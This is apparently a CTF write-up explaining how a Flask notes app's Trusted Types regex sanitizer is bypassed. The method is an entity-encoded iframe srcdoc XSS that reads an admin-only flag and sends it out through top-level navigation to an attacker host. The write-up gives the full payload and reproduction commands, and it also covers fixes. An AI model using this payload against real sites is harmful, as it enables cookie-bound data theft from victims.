TraceBash 2026 — Trusted Rules Writeup

Trusted Types and a regex sanitizer bypassed in a Flask notes app: an HTML-entity-encoded iframe srcdoc runs inline script under CSP, reads the admin-only /admin/flag, and exfiltrates it via top-level navigation.

6 min read
ibrahimsql
1,186 words

TraceBash 2026 — Trusted Rules

"Trusted Rules" (Web) is a small Flask notes app that reflects your note through innerHTML under a Content Security Policy built around Trusted Types. An admin bot holds an httpOnly session cookie and will review any note URL you submit. The flag lives at /admin/flag, gated only by that cookie.

The premise is that Trusted Types ("the browser's own trust framework") plus a sanitizing policy makes the reflection safe. It does not: the policy is a regex blacklist applied to the raw string, and iframe srcdoc is neither a Trusted Types sink nor policed by the blacklist. Encoding the script tags as HTML entities slips past the filters, and the browser then decodes them into a real inline script inside a fresh same-origin document.

  • Event: TraceBash CTF 2026
  • Category: Web
  • Flag format: TBCTF{...}

1. The application

The whole backend is one file. The interesting parts:

Python
@app.route('/admin/flag')
def admin_flag():
    if request.cookies.get('admin_session') == os.environ.get('ADMIN_TOKEN'):
        return FLAG
    return "Forbidden", 403
 
@app.route('/view')
def view():
    rule = request.args.get('rule', 'Default Note')
    return render_template('view.html', rule=rule)
 
@app.route('/report', methods=['GET', 'POST'])
def report():
    ...
    url = request.form.get('url')
    if not url or not url.startswith('http'):
        return "Invalid URL", 400
    parsed = urlparse(url)
    if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0']:
        url = parsed._replace(netloc='web:5000').geturl()
    resp = requests.post(os.environ.get('BOT_URL'), json={'url': url}, timeout=5)

/view renders view.html with an attacker-controlled rule. /report forwards a URL to the bot, locally rewriting localhost/127.0.0.1/0.0.0.0 to web:5000 so you cannot trivially point the bot at your own listener on loopback.

The bot only accepts URLs that target the app, then visits with the session cookie:

JavaScript
const parsed = new URL(url);
if (parsed.protocol !== 'http:' ||
    parsed.hostname !== new URL(WEB_HOST).hostname ||   // 'web'
    parsed.port     !== new URL(WEB_HOST).port) {        // '5000'
  return res.status(400).send('Invalid URL: Use http://web:5000');
}
await page.setCookie({ name: 'admin_session', value: process.env.ADMIN_TOKEN,
                       domain: 'web', path: '/', httpOnly: true });
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });

So the goal is clear: land the bot on a web:5000 page where we run script, call /admin/flag (the cookie rides along automatically even though it is httpOnly), and leak the response.

2. The reflection and its defenses

view.html sets a strict policy and injects the note through a Trusted Types policy:

HTML
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' 'unsafe-inline';
               require-trusted-types-for 'script';">
...
<script>
  let policy;
  if (window.trustedTypes && trustedTypes.createPolicy) {
    policy = trustedTypes.createPolicy('notePolicy', {
      createHTML: (string) => {
        let safe = string;
        safe = safe.replace(/<\/?script>/ig, '');
        safe = safe.replace(/javascript:/ig, '');
        safe = safe.replace(/on[a-z]+\s*=/ig, '');
        return safe;
      }
    });
  }
  const userNote = new URLSearchParams(location.search).get('rule') || 'No note specified.';
  document.getElementById('note-content').innerHTML =
      policy ? policy.createHTML(userNote) : userNote;
</script>

There are four defenses stacked here, and each one is individually insufficient:

  1. require-trusted-types-for 'script' forces the innerHTML sink to receive a TrustedHTML. The code complies by wrapping the note in policy.createHTML, so the sink accepts it.
  2. The policy blacklist removes </?script>, javascript:, and on…= from the raw string — but it is a plain regex over the source, not a parser.
  3. script-src 'self' 'unsafe-inline' — note the 'unsafe-inline', which is what ultimately makes inline execution possible.
  4. default-src 'self' — there is no explicit connect-src, so fetch/XHR/img to an external host falls back to 'self' and is blocked.

The trap is thinking innerHTML plus the <script> strip means no execution. It is true that <script> inserted via innerHTML never runs — but that is a property of the HTML fragment parser, not of the sanitizer, and it does not apply to every vector.

3. The bypass: iframe srcdoc

<iframe srcdoc="..."> is not a Trusted Types sink and is not mentioned by the blacklist. The value of srcdoc is parsed as a complete new document, and — because the frame is srcdoc — that document inherits the embedding page's origin and CSP. Since the CSP already contains 'unsafe-inline', a <script> inside srcdoc executes.

The only remaining obstacle is the string filter. It removes the literal substrings <script>, </script>, javascript: and on…=. HTML entities defeat it: the filter sees &lt;script&gt;, and the browser decodes that to <script> when parsing the srcdoc attribute:

HTML
<iframe srcdoc="&lt;script&gt;
  fetch('/admin/flag')
    .then(r => r.text())
    .then(t => { top.location = 'http://<attacker>/?f=' + encodeURIComponent(t) });
&lt;/script&gt;"></iframe>

Walk through the defenses:

  • require-trusted-types-for → satisfied; we inject via the policy as before.
  • <script> strip → no literal <script> present, only entities.
  • javascript: strip → we never write that token.
  • on…= strip → no inline handler used at all.

Execution details:

  • The srcdoc frame is same-origin, so fetch('/admin/flag') is a same-origin request allowed by connect-src/default-src 'self', and the httpOnly admin_session cookie is attached automatically. httpOnly stops document.cookie, not the browser from sending it.
  • To get the flag out: connect-src and img-src fall back to 'self', so a direct fetch/Image() to the attacker host is blocked. Top-level navigation is not governed by default-src, so top.location = 'http://attacker/?f=' + … leaks it. (top is reachable because the frame is same-origin.)

A side note on the other filters: although handler names cannot be entity-encoded, the javascript: filter is equally cosmetic — java&#115;cript: is a valid URL once the HTML parser decodes the attribute value. srcdoc was simply the shortest path.

4. Reproducing it

The challenge ships docker-compose.yml with the bot installing google-chrome-stable (amd64). On an arm64 host that Chrome cannot run, so I stood up the web service as-is and drove it with a small puppeteer-core bot emulator using the system (arm64) Chromium, replicating the real bot's cookie and URL checks.

Start the web service and a listener to catch exfiltration:

Bash
docker network create tbnet
docker build -t tbvault-web ./app
docker run -d --name web --network tbnet -p 5050:5000 \
  -e FLAG='TBCTF{fake_flag_for_local_testing}' \
  -e ADMIN_TOKEN='74ac76b0a8b649b3b3ac0212e39dc78b' tbvault-web
docker run -d --name exfil --network tbnet python:3.9-slim python -m http.server 8000

Drive the bot with the payload URL-encoded into rule:

Bash
JS="fetch('/admin/flag').then(r=>r.text()).then(t=>{top.location='http://exfil:8000/?f='+encodeURIComponent(t)})"
PAY="<iframe srcdoc=\"&lt;script&gt;${JS}&lt;/script&gt;\"></iframe>"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAY")
# bot emulator: sets admin_session on domain 'web', goto http://web:5000/view?rule=$ENC

The emulated bot's request log and the listener's access log confirm the full chain:

Text
=== REQUESTS ===
http://web:5000/view?rule=...%3Ciframe%20srcdoc...
http://web:5000/static/style.css
http://web:5000/admin/flag
http://exfil:8000/?f=TBCTF%7Bfake_flag_for_local_testing%7D
 
--- exfil access logs ---
172.18.0.4 - - "GET /?f=TBCTF%7Bfake_flag_for_local_testing%7D HTTP/1.1" 200 -

/admin/flag is fetched with the admin cookie, and the decoded flag arrives at the listener. The placeholder is a local value; against the real deployment the same payload returns TBCTF{...}.

5. Fixing it

  • Do not reflect attacker input into the DOM at all, and if you must, sanitize with a real HTML parser (e.g. DOMPurify), not regexes. A Trusted Types policy is only as strong as its createHTML.
  • Lock the policy. Add a trusted-types notePolicy (or trusted-types 'allow-duplicates' notePolicy) directive so unknown policies cannot be created, and make the policy the only path that produces HTML.
  • Treat srcdoc, iframe, and event handlers as first-class XSS sinks. Block frames with frame-src 'none' and keep an explicit restrictive connect-src/img-src.
  • Remember httpOnly is not a CSRF/origin defense. It does not stop the page's own JavaScript from calling cookie-protected endpoints in the same origin.

6. Flag

TBCTF{fake_flag_for_local_testing}   # local run; real flag is TBCTF{...}
---
Share this post:

What do you think?

React to show your appreciation

Related Posts